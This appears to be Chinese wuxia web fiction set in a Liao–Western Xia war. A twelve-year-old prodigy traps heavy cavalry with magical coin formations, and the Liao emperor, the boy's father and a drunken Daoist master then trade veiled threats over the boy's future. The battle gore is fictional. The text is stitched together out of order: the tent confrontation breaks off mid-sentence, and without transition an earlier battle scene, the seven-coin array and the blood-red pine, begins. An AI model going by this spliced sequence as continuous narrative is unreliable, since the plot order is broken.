数十枚泛着暗金光泽的古朴铜钱,如同天女散花般从他袖中激射而出!这些铜钱并非胡乱抛洒,每一枚都在空中划出玄妙的弧线,精准无比地嵌入了周围山岩的裂缝、或是尚未完全塌陷的坚实地面的特定位置! 待到西夏军中后方的将领惊觉不妙,急令后队变向、企图从侧面绕过这片死亡陷阱时—— “咔嚓嚓……” 那些嵌入岩缝与地面的铜钱,竟然借着地面持续塌陷震荡传来的力量,自行移动、组合!它们在地下以一种特殊的规律排列,瞬间构成了一个小型的,却极其霸道的“地煞锁灵阵”! 阵成的刹那,峡谷唯一的出口方向,地形竟发生了微妙的“扭曲”!在冲锋的骑兵眼中,前方的道路仿佛突然变成了螺旋状的窄道,根本无法让重甲骑兵全速通过! “吁——!”“砰!” 惨剧发生。收势不及的前队与试图变向的后队狠狠撞在一起!沉重的玄铁铠甲与铠甲剧烈摩擦、撞击,发出一连串刺耳得让人头皮发麻、牙根发酸的金属刮擦与断裂声!人体骨骼碎裂的“喀嚓”声,战马脊梁折断的悲嘶,瞬间响成一片! 然而,刘朔的“游戏”还未结束。 他眼尖,瞥见一匹因为主人坠落而惊慌失措、在陷阱边缘乱窜的无主西夏战马。少年眼睛一亮,身形如同一片没有重量的羽毛,轻盈地翻身跃上马背,一把抄起垂落的缰绳! “驾!” 他竟然不是向后逃,而是抖动缰绳,催动这匹惊马,迎着侧面一小股尚未完全陷入混乱的铁鹞子,直冲过去!同时他口中发出一连串尖锐的,模仿辽军某种特定号令的唿哨! 那十余骑铁鹞子下意识以为这是辽军的某种反冲锋信号,又见他单人匹马“悍不畏死”地冲来,为首的百夫长血气上涌,怒吼一声:“杀!”带着部下就追了上去! 刘朔引着这股敌骑,不是往辽军阵列跑,而是一头扎进了旁边一处因为山体塌陷而露出的,幽深漆黑的溶洞阴影之中! “进去!” 不过三息工夫。 “嘶——!”“砰!”“啊!” 溶洞深处,传来一片混乱到极点的声响!战马惊恐到变调的嘶鸣,沉重铠甲猛烈撞击岩壁与地面的闷响,人类绝望的惨叫与怒骂……还有兵器胡乱挥砍、却多数砍在岩石与同伴身上的可怕声音。 刘朔早已在冲入溶洞的刹那,便如同壁虎般贴着洞壁滑出,此刻正蹲在洞口附近一块巨石上,饶有兴致地侧耳倾听着里面的“音乐”,嘴角还带着一丝恶作剧得逞般的笑意。 他根本没在洞里布置任何陷阱或伏兵。他只是利用了溶洞特有的、能放大并混淆一切声响的回声效应,以及铁鹞子重骑在漆黑狭窄环境中天然的恐慌与不适,再加上他那几声惟妙惟肖的唿哨误导……便成功地让这十余骑精锐,在极度恐慌中,自相践踏,自取灭亡! 正当流沙与陷阱困住铁骑主力,隘口的杀戮稍稍缓和之际—— 异变再起! 隘口东侧的乱石坡后,毫无征兆地掠出数道诡异的金色影子。那金色并非铠甲反光,而是一种极其特殊的、宛如活物鳞片般的暗金光泽,在移动中流转不定,让人眼花缭乱,难以锁定。 十余道身影,如同没有重量的鬼魅,以一种违背常理的速度与角度,切入了尚在混乱中的西夏骑兵侧翼。他们不与任何人正面交锋,手中那种比常见弯刀更短、更窄、刃口泛着幽蓝的特制利刃,专挑铁鹞子重甲骑兵最难防御,也最致命的地方下手——战马腿部关节处铠甲的缝隙! “噗!噗!” 刀光过处,血花混合着关节液爆溅!战马凄厉的惨嘶声冲天而起,庞大的身躯轰然倒地,将背上的骑士狠狠压在身下,骨折声令人毛骨悚然。 动作狠辣,刁钻,一击即走,绝不恋战。这种风格,与辽军正面冲杀、堂堂正正的战法大相径庭,充满了阴狠的刺客与暗杀者气息。 耶律皓南的瞳孔骤然缩成针尖! 影鳞卫! 辽帝耶律宗真亲自掌握的,最隐秘也最可怕的皇家暗卫力量!他们身上那种特殊的“金鳞软甲”,乃是皇家工匠以秘法制作,不仅防御惊人,更有在特定光线下扰乱视线的奇效。这些人素来只执行皇帝最隐秘、最见不得光的任务,是帝王手中最锋利也最阴暗的匕首。 此刻,他们竟然出现在这两军对垒的正面战场上!与其说是“助阵”,不如说是……对他这个统帅权最赤裸裸的监视,以及对战局的一种无声的、强势的干预! 耶律皓南垂在身侧的手,指节因为用力而捏得发白,甚至微微颤抖。 他尚未理清思绪,为首影卫已掠至指挥台前单膝跪地:“国师大人,陛下口谕:『朕在望楼观雏鹰试翼,莫让铁鹞血污了翎羽。』” 话音未落,峡谷深处突然爆开赤红光晕。刘朔不知何时攀上岩壁,掌心托着的玉佩竟引动午时烈日,在溶洞入口折射出灼目焦点。铁鹞子玄甲被强光所慑,阵型愈乱。少年笑声清亮穿透金戈之声:“师傅说晒太阳也能破敌,果然不骗人!” 耶律皓南凝视着儿子在光影间腾挪的身影,怀中玄铁帅印被掌心冷汗浸得滑腻。他看见刘朔每一次闪避都踩着华山“云踪步”的变式,布阵时甚至信手拈来几片枯叶补全卦位——这种举重若轻的灵性,自己当年在陈抟老祖座下苦修数载方窥得门径。 “十三岁时,我还在为背全《易龙图》被师叔罚挑山泉……”他无意识摩挲着帅印上的蟠螭纹,忽觉印钮传来细微裂响。低头竟见玄铁表面绽出蛛网纹——这是心神激荡至极致引动的真气外泄。 高台下的影鳞卫首领忽然抬头,面具孔洞后目光如针:“国师可需调‘玄龟弩’助阵?”耶律皓南猛然惊醒,这是试探。若应下,便是承认儿子能力不足;若拒绝,又恐落个轻敌话柄。他尚未答话,谷底忽传来刘朔的欢呼:“爹!我发现铁鹞子怕响箭——他们头盔太沉,回头时容易扭脖子!” 夕阳将少年身影拉长投在岩壁上,那姿态竟与耶律皓南记忆中师叔踏月而来的剪影重合。骄傲与忧虑如冰炭在五脏六腑间翻滚,他最终只沉声对影卫道:“回禀陛下:雏鹰尚需风雨砺爪,不敢劳圣驾亲涉险地。” 辽军帅帐内,唯一一盏牛油巨烛在帐中央燃烧,火苗不安地跳动,将耶律皓南挺直如枪的身影扭曲、放大,投射在绘满狰狞契丹狼图腾的毡壁上。那影子随火光晃动,时而如蓄势待发的孤狼,时而如被无形枷锁捆缚的囚徒。 他的指尖,刚刚触上摊开在案上、尚未用印的一卷“擅动军阵、险误大局”的朱砂责罚令。冰冷的朱砂印泥,在烛下红得刺目,如同凝固的血。 就在此时—— “铿!铿!铿!” 帐外忽然传来整齐划一、金铁顿地的沉闷撞击声!那是皇帝亲卫“铁林军”特有的仪仗顿戟之礼! 下一瞬,少年辽帝清亮中透着一丝难掩兴奋的笑声,已经破开沉重的毛毡门帘,先于他的身影撞入帐中: “哈!朕听闻,国师之子年方十二,便能于万军阵前,引地脉、困铁骑——” 耶律宗真一袭便于行动的玄黑绣金常服,踏着帐外清冷的月色,径直走了进来。他腰间那柄代表契丹皇权的错金狼头宝刀尚沾着夜露,在烛火下反射着幽冷的光泽。他的目光,如同嗅到猎物气息的鹰隼,进帐的刹那便越过耶律皓南,如同有形的钩子,牢牢锁在了侧坐在行军榻边、正被凌霄子没好气地处理着肩膀伤口的——刘朔身上。 “这等惊世之才,莫不是……”少年天子的嘴角勾起一抹玩味而炽热的弧度,步步逼近,“传说中,主杀伐、掌兵戈的——武曲星君,降世临凡了?” “武曲星”三个字,他吐得极轻,却在寂静的帅帐内,激起了无形的涟漪。 刘朔闻声抬起头。因为失血和疼痛,他的脸色有些苍白,嘴唇也失去了血色,可那双眼睛,在烛火映照下,却依旧清澈明亮,带着少年人特有的好奇与懵懂,直直地迎向帝王审视的目光,毫无惧色,甚至……还有一丝被如此“大人物”关注的、隐隐的兴奋。 他显然还不明白,“武曲星”这个名头,在这个敏感的时刻,从一国之君口中说出,意味着什么。 耶律宗真走到巨大的边防沙盘旁,伸出一根手指,屈起,在坚硬的红木边缘轻轻一叩。 “咚。” 一声清响。奇异的是,沙盘中那些代表西夏“铁鹞子”的玄黑铜驹,仿佛被无形的力量撼动,竟然齐刷刷地向一侧歪倒,东倒西歪,狼狈不堪。 “朕十二岁时……”少年天子的目光从沙盘移回刘朔脸上,声音里带着一种刻意的感觉,用以对比的追忆,“尚在母后帘前,日日苦背那些冗长乏味的《贞观政要》、《帝范》,学的是如何坐稳龙椅,看的是朝臣们永无休止的奏章与心机。” 他忽然伸手,握住了腰间狼头刀的刀柄。下一瞬,寒光一闪!刀未出鞘,只是用包金的刀鞘末端,快如闪电地向上一挑—— “嗖!” 刘朔腰间那枚已有裂痕、悬着明黄玉穗的清心玉佩,竟被这一挑之力带得脱开丝绦,飞向半空! 玉佩在空中翻滚,明黄的玉穗划出流萤般的虚影,在跳动的烛火下,恍惚间竟如同一颗坠落的微型星辰。 “而此子……”耶律宗真稳稳接住坠落的玉佩,握在掌心,目光灼灼,如同在鉴赏一件刚刚发掘出土的、举世无双的宝物,“十二岁,已能借山河地脉之势,反噬千军万马” 他抬起眼,目光终于从刘朔身上移开,投向一直静立不语、面无表情的耶律皓南,嘴角的笑意渐深,却透出一股冰冷的探询: “国师博通今古,熟知天文谶纬……可知,这武曲星临世,自古以来,固然主杀伐、定乾坤,为王前驱……” 他的声音骤然压低,带上了一种金石摩擦般的质感: “可亦是……动荡之源,兵灾之兆?” “主杀伐亦主动荡”——这是赞誉,更是警告,是赤裸裸的试探与定性! “喀……” 耶律皓南垂在身侧的手,指节因为用力而发出轻微的声响。他的膝甲无意识地碾过地面上一小块未清扫干净的木炭余烬,爆出几点转瞬即逝的暗红星火。 他看见,年轻的帝王说话时,那只握着刀柄的手,食指正以一种特定的、极有节奏的频率,轻轻摩挲着刀柄上缠绕的金丝。那是萧太后当年还政前,亲自教授幼帝的、用以在重大场合平复心绪、掩饰真实想法的“镇定之法”。 而此刻,这“镇定”的动作下,透出的,却是一种猎鹰在高空盘旋、锁定地面雏雀时,那种冰冷、专注、势在必得的——锐利与侵略性。 “陛下。”耶律皓南上前一步,俯身行礼。动作间,腰间玉带钩不慎撞上佩剑剑格,发出“铛”一声清越却略显刺耳的脆响,在紧绷的空气中格外醒目。 “小儿无状,擅动军阵,险些酿成大祸。”他的声音沉稳,不带丝毫波澜,“按军法,当受鞭刑二十。臣已拟好责罚令,并请夺其参议军机之权,即刻编入前锋斥候营,戴罪立功,以观后效。” 这是以退为进,也是最直接的保护。将刘朔打入最危险也最不起眼的斥候营,远离帝王视线与权力中心,或许能暂时冷却这份要命的“兴趣”。 “立功?” 耶律宗真仿佛听到了什么极有趣的事,纵声长笑起来。笑声爽朗,却让帐内气温仿佛又降了几分。 笑声未歇,他手中那柄未出鞘的狼头刀,刀尖忽地如毒蛇吐信,向前一递,不是攻击,而是精准地挑向刘朔因为处理伤口而卷起袖子的左臂臂弯处! “刺啦——” 粗布衣袖应声裂开一道长长的口子。 烛火跳动,清晰地映亮了少年臂弯内侧——那里,在接近肘部的位置,皮肤上赫然有一小片极淡的、宛如天然胎记的淡金色星形纹路!那纹路并不复杂,却散发着一种奇异的、与周遭皮肤略微不同的光泽,仿佛是将天上的星辰投影,烙印在了血肉之中。 正是华山派秘传典籍中,曾隐晦提及的、与“武曲星”转世传说相关的——“星芒胎记”! “鞭刑?斥候营?”耶律宗真的目光贪婪地锁在那片淡金星纹上,嘴角的笑意变得深不可测,“朕倒觉得……此等天赐瑰宝,岂可埋没于草莽?” 他忽然俯身,凑近刘朔。少年身上血污与金创药混合的气息扑面而来,他却浑然不觉,伸出戴着玄铁指套的手,竟然轻佻地捏住了刘朔的下颌,强迫他抬起头,与自己对视。指套冰冷坚硬的边缘刮过少年细嫩的皮肤,留下浅浅的红痕。 “朕该……赏他执掌一队‘影鳞卫’,专司破解西夏那些上不得台面的蛊毒邪阵,方是物尽其用!”他的声音压得极低,呼吸几乎喷在刘朔脸上,“只是……” 他的目光斜睨向一旁脸色已经铁青的耶律皓南,话锋一转,带上了一丝刻意的“关切”: “国师当年为摆那‘天门阵’,逆天而行,折损阳寿何止十载?如今武曲星临凡助我大辽……” “可需朕,提前为国师……备好续命的灵丹妙药?” 续命丹? 这是关切,更是最恶毒的提醒与诅咒!提醒耶律皓南当年炼阵的惨痛代价,诅咒他的儿子可能步其后尘!同时,更是一种隐晦的威胁:你的命,你儿子的命,都在朕的掌握之中。 刘朔被捏着下颌,有些不适地挣扎了一下,却没挣脱。他仰着头,瞳仁澄澈如同两面映照烛火的明镜,倒映着帝王近在咫尺、充满侵略性的脸。少年的声音因为下颌被制而有些含混,却依旧清晰: “师傅说……武曲星光,不过是天地间一股特别的罡煞之气。”他的眼睛眨了眨,“孩儿不过是……偶然借来用了一用。就像……” 他的目光扫过耶律宗真身上那袭便于行动的玄黑常服,以及腰间那柄代表契丹皇权,形制却与传统礼制稍有不同的错金狼头刀。 “就像陛下您,改皮弁冠服为金甲常服,亲临战阵——亦是因时、因势……顺势而为。” 顺势而为! 一个十二岁的少年,竟然用如此轻描淡写、甚至带着几分天真的话语,将自己那惊世骇俗的“天赋”,与帝王的“变革”相提并论! “叮叮当当……” 就在耶律皓南心脏几乎停跳、耶律宗真眼中锐光骤盛的刹那,刘朔垂在身侧的右手忽然一松。 七枚古朴的、边缘已有所残缺的“开元通宝”铜钱,从他袖中滑落,叮叮当当地坠在光洁的羊绒地毯上。 奇异的是,这些铜钱并未胡乱滚动,而是仿佛被无形的手指拨弄,在地毯上几个轻微的弹跳、翻滚后,竟然稳稳地排列成一个特定的阵型——北斗七星的勺形指向西方,而勺口(天枢、天璇连线延伸),赫然遥指帐外西夏大军方向,形成一个充满攻伐之意的——“北斗吞狼阵”! 虽是残阵虚形,但其中蕴含的星力牵引与杀伐之意,在场修为稍高者皆能感知。 这是回答,也是……不自知的炫耀。少年用最直接的方式,向帝王展示了他口中那“偶然借来一用”的力量,究竟是何等模样。他浑然不觉,这番“顺势而为”的言论和信手布阵的举动,在帝王眼中,是何等的狂妄,又是何等的……让人心痒难耐,恨不能立刻据为己有。 “啪!” 烛火骤然爆开一朵硕大的灯花,光影剧烈摇曳,将帐内每个人的脸都映得明暗不定。 耶律皓南藏在绯红官袍广袖中的手,指尖难以抑制地微微颤抖起来。不是惧怕,而是一种混合了极致愤怒、后怕以及深沉无力感的冰冷战栗。 他的目光落在儿子因为处理伤口而散落在地,沾着血污和沙尘的玄色衣摆上。在那里,几点不易察觉的、呈特殊锯齿状的淡金色植物碎屑,赫然在目。 那是——金叶蕨的碎屑。 而三日前,辽帝耶律宗真曾以“褒奖国师教子有方、劳苦功高”为名,特赐了一批产自辽东长白山,专供皇家与弘文馆使用的极品檀香与药材。其中,就有一小盒用以熏香安神的特制香料,里面掺杂了少量磨成细粉的金叶蕨。 此刻这本该在国师府香炉中燃尽的御赐之物,竟然出现在了刘朔经历过惨烈厮杀的战场衣袍上。 这意味着什么? 意味着,要么刘朔在战前接触过这御赐之物,要么……就是有人(比如眼前的帝王)早就知晓金叶蕨与华山派、与刘朔之间的特殊联系,此刻看到这碎屑,便是一种无声的提醒与敲打:你们师门的秘密,朕……了如指掌。 “好一个‘顺势而为’!” 耶律宗真松开了捏着刘朔下颌的手,直起身,抚掌大笑。笑声中,他忽然反手,将一直握在左手的那柄错金狼头刀,狠狠地——插进了面前厚重的红木案几之中! “夺!” 刀身直没至柄!坚硬的红木如同豆腐般被切开。刀柄顶端那颗鸽子蛋大小、在烛火下流转着血色光芒的红宝石,正好对准了帐门的方向。而透过未完全合拢的帐帘缝隙,可以看见外面影影绰绰,至少有数十名身着轻甲、手持劲弩的影卫,无声地将大帐围了个水泄不通。那些弩箭在月下泛着幽蓝的寒光,箭头所指,隐约对准帐内。 “国师教子,如同淬炼一柄绝世名剑,千锤百炼,用心良苦。”少年天子的声音恢复了平静,甚至带上了一丝惋惜,“只是……可惜啊,过刚……易折。” “尤其是,当这柄剑过于锋利,锋利到让持剑人自己,都有些把握不住的时候。” 他自怀中缓缓取出一卷明黄色的绢帛。那绢帛质地非常,在烛火下隐隐有龙纹暗绣流转,正是辽国皇帝用以颁布重要旨意的特制诏书用绢。 “朕思忖良久,我大辽欲定鼎天下,不能只靠弓马之利,亦需囊括天下奇才,汇聚四方英杰。”他将绢帛在案上轻轻铺开,露出上面尚未用印、却已写就的工整楷书,“故,朕欲于盛京皇城之内,特设‘天枢阁’一座。” “择宗室勋贵子弟中天资聪颖、心性坚韧者,与……”他的目光再次落在刘朔身上,嘴角勾起,“与国师之子这般的‘天赐奇才’,一同入阁,共习兵法韬略、天文地理、奇门阵法……乃至帝王之术。” “阁中教习,朕会亲自遴选朝中大儒、边关名将、乃至……江湖异士担任。” “而这天枢阁之主……”他抬起眼,目光灼灼地看向耶律皓南,“朕属意,由国师您——亲自兼任。不知国师,可愿为朕、为大辽,担此重任,教导这些未来的国之栋梁?” 天枢阁!阁主! 这是何等的恩宠,又是何等的……阳谋! 将刘朔名正言顺地纳入皇家直接控制的体系,与宗室子弟同学,接受最“正统”的忠君教育。同时,将耶律皓南这个父亲与师父绑上战车,用“教导未来栋梁”的大义,耗尽他的心力,也将他牢牢拴在盛京。更妙的是,这是“赏识”,是“重用”,令人无法拒绝,至少……明面上无法拒绝。 耶律皓南静静地看着案上那卷明黄绢帛,看着上面那些早已拟好的、充满诱惑与陷阱的文字。 忽然—— “哗啦!” 他猛地挥袖,广袖带起一股劲风,将案几一角那盏尚有半杯冷茶的越窑青瓷茶盏,狠狠扫落在地! 茶盏摔得粉碎!瓷片与冷茶四溅!几片锋利的碎瓷掠过旁边的铜制更漏,发出“叮”的脆响。 更漏中的清水因为这一撞击而溢出,缓缓漫过更漏外壁刻着的时辰标记——“戌时正刻”。 正是刘朔在国师府中,每日雷打不动、跟随父亲修习《阴符经》的时辰。 耶律皓南弯下腰,伸出手,不是去捡那卷明黄绢帛,而是用两根手指,轻轻拈起了一片沾着茶渍的、最大的碎瓷片。他的动作很慢,很仔细,仿佛在鉴赏一件古董。 “陛下……”他开口,声音竟然带上了一丝轻笑,一种仿佛想起了什么遥远往事的,带着淡淡嘲讽与无奈的轻笑,“臣近来,常常忆起当年在华山之巅,那些大雪封山的夜晚。” “师叔他老人家,总是一边烤着偷来的地瓜,一边骂我。”他的目光透过碎瓷片,看向虚空,“他说……‘皓南啊,你这孩子,心思太重,执念太深。整日琢磨着那些阵图、兵法、国仇家恨……” “‘到头来,不过是为他人作嫁衣裳。” “‘还不如……跟着师叔我,劈柴、担水、煮茶、看云。至少……活得自在,死得痛快。’” 为他人作嫁衣裳。不如劈柴煮茶。 这是拒绝。是用最委婉,也最坚决的方式,告诉眼前的帝王:我耶律皓南,不想再让自己的儿子,重蹈我的覆辙,成为权力棋盘上一颗身不由己的棋子,哪怕……是看似光鲜的“阁主”之子。 帐内死一般的寂静。只有碎瓷片上残留的茶水,一滴滴坠落在羊绒地毯上,发出轻微的“噗噗”声。 就在这令人窒息的对峙即将达到顶点时—— “哐当!” 帅帐的门帘被人粗鲁地一把掀开!一股混合着凛冽夜风、劣质酒气以及……淡淡马粪味道的气流,猛地灌了进来!** “皇帝小儿!” 一个醉醺醺,却中气十足得震人耳膜的嗓音炸响。凌霄子不知何时溜达了过来,此刻正一手拎着他那永不离身的朱红酒葫芦,一手揉着惺忪的睡眼,身上那件绛紫色的道袍皱巴巴的,下摆还沾着不明的污渍,就这么踉踉跄跄、毫无顾忌地闯了进来。 “抢我华山派的传人去当你那劳什子‘棋籽’,”他打了个响亮的酒嗝,乜斜着醉眼,目光从耶律宗真脸上扫过,又落在案上那卷明黄绢帛上,嘴角咧开一个充满嘲讽的笑,“问过华山列代祖师爷、问过老道我这个正牌师傅了没有?” “天枢阁?”他凑近些,仿佛要看清楚绢帛上的字,“听着就是个关金丝雀的笼子!不如……让这小子跟我回华山捉妖去!” 他拍了拍胸脯,酒气喷涌:“保准!比跟着你们学什么‘擒龙术’、‘屠凤策’……活得长久!活得痛快!” 这是赤裸裸的搅局,也是最直接的表态。 耶律宗真的脸色,在烛火下明暗不定。他看着眼前这个毫无君臣礼数、满身酒气的邋遢老道,眼中寒光一闪而逝。 忽然,他的手指停在了插在案上的狼头刀刀柄处,那里,镶嵌着一对以红宝石琢成的狰狞狼瞳。他的指腹,轻轻摩挲着那冰冷的宝石表面。 “道长……”他开口,声音变得奇异的平静,甚至带上了一丝聊天般的闲适,“可知,朕昨日在阴山南麓狩猎,猎得了一只通体雪白、毛色罕见的玉面狐?” “朕见其灵性非凡,心生怜惜,便未伤它性命,将其放归山林。”他的嘴角勾起一抹难以捉摸的笑意,“只是……放归之前,朕让人在它的脖颈上,套了一个小小的七宝鎏金铃铛。” “此铃制作精巧,铃声清脆悦耳,在山林中传得极远。”他的目光,意有所指地扫过刘朔,又回到凌霄子脸上,“朕吩咐左右:此后狩猎,若听闻此铃声响起……” “便是朕的猎犬与弓箭手,围剿此狐之时。” “若是……铃声哑了,或是铃铛不见了……”他的声音骤然转冷,“那便是此狐已被他人所获,或是企图逃脱朕的掌控。届时……勿论是谁擒获此狐,或是此狐逃至何处,皆以万箭穿心而论!” 他说着,竟然解下了自己腰间另一枚代表皇帝身份的蟠龙白玉佩,随手一掷—— “叮!” 玉佩准确地砸在沙盘中,那面代表西夏王权的小巧金色王旗,应声而碎!玉佩也滚落一旁。 “如此有趣的小玩意儿……”耶律宗真看向凌霄子,眼中挑衅与威胁之意并存,“道长您,可要……赏鉴一番?” 白狐。金铃。猎犬。万箭穿心。 这是再明白不过的警告与威胁:刘朔便是那只被他看中的“白狐”。“天枢阁”或其他恩宠便是那“金铃”。接受,便在他的“保护”(监视)下活着;拒绝或逃离,等待的便是皇权的无情剿杀。 “妙!妙极!” 凌霄子闻言,不怒反笑,而且是仰天大笑,笑得眼泪都快出来了。笑声中,他猛地将手中酒葫芦高高举起,然后——狠狠摔在地上! “砰!哗啦!” 朱红的酒葫芦碎裂,里面残存的烈酒泼洒一地,浓烈的酒气瞬间充斥整个大帐。几片锋利的碎片,甚至飞溅起来,狠狠扎进了旁边沙盘中,标注着“幽州”二字的区域! “不如这样!”凌霄子收住笑声,目光如同两把出鞘的寒刀,直刺耶律宗真,“陛下既然这么喜欢那狐狸崽子,不如再好人做到底!” “再喂它点辽东的千年老山参!让它补得精力旺盛,气血充沛!”他的话语充满了浓浓的讥讽,“好叫它……在陛下您的猎场里,蹦跶得更欢实!更惹眼!直到——” 他猛地转身,一把扯过旁边刘朔的衣领,将少年单薄的身子往前一带,同时另一只手疾如闪电地拂开少年后颈处的碎发! “——直到它被所有的猎人、所有的猛兽都盯上!最后怎么死的都不知道!” 烛火摇曳,在刘朔后颈接近发际线的皮肤上,赫然映出一个极小的、颜色比周围肤色略深的陈旧疤痕。那疤痕并非 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“锁魂针出,施术者轻则功力大损,根基动摇;重则神魂受创,神智永损!这疤,”凌霄子的指尖颤抖着,再次指向刘朔后颈那点淡痕,眼中是深切的痛惜与后怕,“便是皓南当年施术后,体内阴阳逆冲,真元暴走无法自控时,无意间逸散的一缕针煞余劲,隔空波及了当时尚在襁褓、被老道带在身边的朔儿所留!仅仅是余波擦过,就在这孩儿身上留了终身去不掉的印记!皓南自己承受的反噬,又该是何等惨烈?!陛下——您可知晓?!” 他踏前半步,宽大的道袍无风自动,浑不惧帝王之威,字字泣血,句句锥心: “如今陛下您龙体康健,稳坐江山,四海承平。倒开始琢磨起……当年救命恩人这尚未长成的骨血,这只懵懂无知的小狐儿,爪子利了会不会挠伤……您新看中的‘武曲星’了?!” “好一个鸟尽弓藏,好一个帝王心术!哈哈哈!”狂笑骤起,却比哭更悲怆,在森严的大帐内回荡,撞在每个人心头。 这是掀桌子了。是将多年前的恩义、如今的猜忌、赤裸裸的利用与防备,全部撕开,摊在了明面上。 帐内的气氛,紧绷到了极致,仿佛再加一根稻草,就会彻底爆炸。 就在这时—— “呵……” 一声轻笑,忽然从一直沉默的耶律皓南喉间溢出。笑声不大,却奇异地压过了所有紧绷的弦音。他笑得肩膀微微颤抖,甚至震落了肩甲上凝结的一层薄薄白霜。 “陛下……”他止住笑,抬起眼,目光澄澈地看向耶律宗真,“臣忽然想起,当年在盛京皇宫,臣第一次教您《吴子兵法》时,您曾指着书中‘良弓劲弩’一节,问过臣一个问题。” “您问:‘国师,既是良弓,为何平日不用时,需以兽筋松弛,藏锋于椟,甚至以油布裹之?岂非埋没其利?’” 他缓步走到案前,伸手解下了自己腰间那枚代表国师权柄、可调动部分特殊力量的玄武印。然后,在耶律宗真骤然凝缩的目光中,将其轻轻地、稳稳地搁在了那卷明黄绢帛之旁。 “当时臣答:‘藏锋,是为保其韧性,养其杀气,待其主而用。’” “如今……”他的目光扫过那枚玄武印,扫过绢帛,最后落在帝王年轻却深不可测的脸上,声音平静如水,“臣方知,当年所答,未尽其意。” “藏锋,不仅是为待主。” “更是为了……让弓自己,能有机会,择主而驰。” 择主而驰! 这是比凌霄子的掀桌更加锋利、更加决绝的回应!是告诉眼前的帝王:我的儿子,不是你可以任意标记、圈养的猎物或工具。他是一张有自己意志的弓,他的归宿,应由他自己的心性、际遇和选择来决定,而非你的权力与恩宠。 少年天子耶律宗真瞳孔深处,那片仿佛万古不化的寒冰,骤然迸出一丝裂痕!他的目光,死死锁在耶律皓南平静无波的脸上,又缓缓移向蹲在地上,正在捡拾那几枚“开元通宝”铜钱的刘朔。 少年捡起铜钱,用袖口仔细地擦拭着上面沾染的灰尘。他的动作很认真,很专注,仿佛在对待什么珍宝。当擦到其中一枚时,他的指尖,在“开元通宝”四个字中的“元”字上,微不可察地……重重一顿。 开元…… 耶律宗真的记忆,被这个细微的动作猛地拉回多年前。那时他还是太子,耶律皓南第一次教他认中原朝代年号。拿着一枚“开元通宝”,国师的声音平静而深邃:“殿下,‘开元’者,开辟新元,万象更始。这是一个时代的开端,亦是……无数可能性的开端。” 当时他不甚了了。如今…… “叮——咚——” 帐角的铜制更漏,一颗铜珠恰在此 朔风是从贺兰山缺口灌下来的,带着砂石磨砺后的尖啸,将戈壁上本就弥漫的烟尘卷成一道道昏黄的漩涡。西夏铁鹞子的玄甲洪流,与辽军赤羽骑的绯红浪潮,在这片被血浸透的土地上疯狂地撞击、绞杀、撕咬。 断裂的兵刃在空中翻飞,折断的肢体混着内脏的碎块砸落,血雾与黄沙被劲风搅在一起,形成一种令人作呕的、带着铁锈与死亡气息的暗红色霾尘。每一次呼吸,都是一次对肺叶的灼烧。 辽军左翼的阵线,在铁鹞子不计代价的反复冲击下,终于发出不堪重负的呻吟,被撕开一道触目惊心的豁口。 刘朔所在的弩兵营,就在这豁口的边缘。他们本是远程压制,此刻却被三支如同黑色铁锥般的铁鹞子分队,从侧翼狠狠楔入,瞬间合围!弩兵对重骑,近身之下,几乎是屠戮。 少年身上那件便于隐匿的玄色劲装,此刻已被鲜血和尘土浸染得看不出本色,紧紧贴在他尚未完全长开的单薄身躯上。腰间那枚清心玉佩,被一支不知从何处飞来的流矢擦过,“咔”一声脆响,裂开一道蛛网般的细纹。 死亡的气息,如同冰冷的蛇,缠上了少年的脖颈。 然而,刘朔的眼睛却亮得惊人。那不是恐惧,不是绝望,而是一种混杂着高度紧张、兴奋以及……某种“好奇”的光彩。仿佛眼前不是修罗杀场,而是一道极为有趣、等待他去解开的难题。 “师祖说过……”他嘴唇翕动,声音低得只有自己能听见,“绝境……方见天门真意。” 下一刹—— “咻咻咻咻咻咻咻!” 七道细微却尖锐的破空之声,从他右手袖中激射而出!那是七枚看似寻常、边缘甚至有些磨损的“开元通宝”铜钱。 铜钱在空中划出七道诡异的弧线,不是射向敌人,而是如同有生命的飞虫,精准无比地嵌入了周围几块裸露岩石的缝隙、或是地面特定的凹陷之处! 位置,恰好是北斗七星的排列! “嗡——” 铜钱嵌入的瞬间,边缘骤然泛起一层诡异的、流转不定的青蒙蒙光晕。那光不刺眼,却让人心底发毛。 紧接着—— “轰隆隆……” 大地深处传来一阵沉闷的、仿佛巨兽翻身的震颤!以七枚铜钱为节点,周围数十丈的沙石地面,竟然“咔嚓嚓”地裂开无数道深浅不一、纵横交错的裂缝,宛如一张骤然张开的、巨大的蜘蛛网! 正在冲锋的铁鹞子重骑,前队猝不及防,一头栽进这些突然出现的裂缝陷阱,人仰马翻,冲势骤减。更有不少裂缝中涌出混浊的泥沙,瞬间将马蹄陷住。 一个简陋、仓促,却实实在在起了作用的困阵,就这么在千钧一发之际,勉强将至少百名凶悍的铁鹞子,困在了方圆不过数十步的狭小区域! 然而困兽犹斗。被陷住的西夏重骑在经历了最初的慌乱后,暴怒地嘶吼着,挥舞兵刃,不顾一切地向外冲撞,甚至不惜践踏同伴。 “噗!” 一柄从侧面刺来的长矛,擦着刘朔的右肩而过,挑破了他的衣帛,在皮肉上留下一道深可见骨的血痕!温热的鲜血瞬间涌出,浸透了玄衣,滴落在焦黑的沙地上。 剧痛让少年的脸色又白了几分,额头冷汗涔涔。可他的眼睛,却因为这疼痛,反而更亮了。那里面燃烧着一种奇异的,近乎执拗的光。 “这点伤……可不够看。”他低声咕哝了一句,竟然咧嘴笑了一下,露出沾着血丝的牙齿。 他猛地咬破自己的食指指尖,将涌出的血珠,迅速地抹过手中那杆随手捡来的、枪头已有缺口的长枪枪锋。然后,他将染血的枪尖,对准地上那七枚铜钱中,代表“天枢”位的那一枚,轻轻一点—— 血珠准确地滴入铜钱的方孔凹槽。 时间,仿佛在这一刻凝固了一瞬。 下一刹—— “轰!” 不是声音,而是一种直接作用于灵魂层面的、无声的爆炸与震荡! 以那枚“天枢”铜钱为中心,一片浓郁得化不开的、灰白色的雾霭,如同从地狱深渊中喷涌而出,瞬间弥漫了整个困阵区域!那雾气冰冷、潮湿,带着一股阴山深处特有的、腐叶与岩石的气息。 雾霭翻滚间,一棵巨大的、枯槁扭曲的松树虚影,拔地而起!那松树通体呈现出一种不祥的暗红色,仿佛是用凝固的血浆浇铸而成,树干上布满了狰狞的疤痕与裂口,仿佛一张张无声惨叫的嘴。树枝如同枯骨般伸向天空,每一根枝桠的末梢,都垂挂着一缕缕如同活物般飘动的、暗红色的“气”。 阴山“断魂松”! 